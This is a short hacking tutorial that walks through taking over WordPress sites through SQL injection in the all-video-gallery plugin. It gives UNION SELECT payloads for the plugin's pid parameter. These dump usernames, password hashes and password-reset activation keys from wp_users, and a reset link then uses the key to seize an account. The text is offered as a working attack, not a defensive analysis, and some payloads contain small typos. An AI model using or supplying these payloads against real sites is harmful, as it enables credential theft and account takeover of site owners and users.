Hack WP using sql injection

STEP 1 – Find out Vulnerabilities in WordPress Website
-1 union Select 1,2,3,4,5,6,group_concat(user_login,----,user_pass),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,262,7,28,29,30,31,32,33,34,35,36,37,38,39,40 from wp_users
  *desc[union query that fetch all db from wp_users table(to user user admin)]

http://{Domain_Name_Here}/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11&pid={union Query here}
 *desc[$_pid variables]
 *desc[all-video-gallery plugins(w/ vulnerabilities)]

if u append
"SELECT * FROM ".$wpdb->;prefix."allvideogallery_profiles WHERE id=-1 union Select 1,2,3,4,5,6,group_concat(user_login,0xa,user_pass),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,262,7,28,29,30,31,32,33,34,35,36,37,38,39,40 from wp_users


STEP 2 – Reset WordPress Password and Get Activation Key
-1 union Select 1,2,3,4,5,6,group_concat(user_login,user_activation_key),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,262,7,28,29,30,31,32,33,34,35,36,37,38,39,40 from wp_users]
 *desc [activation code will display in <buffer>activation code here</buffer>]

STEP 3 – Use Activation key and Reset Password
link http://{DOMAIN_NAME_HERE}/wp-login.php?action=rp&key={ACTIVATION_KEY_HERE}&login={USERNAME_HERE}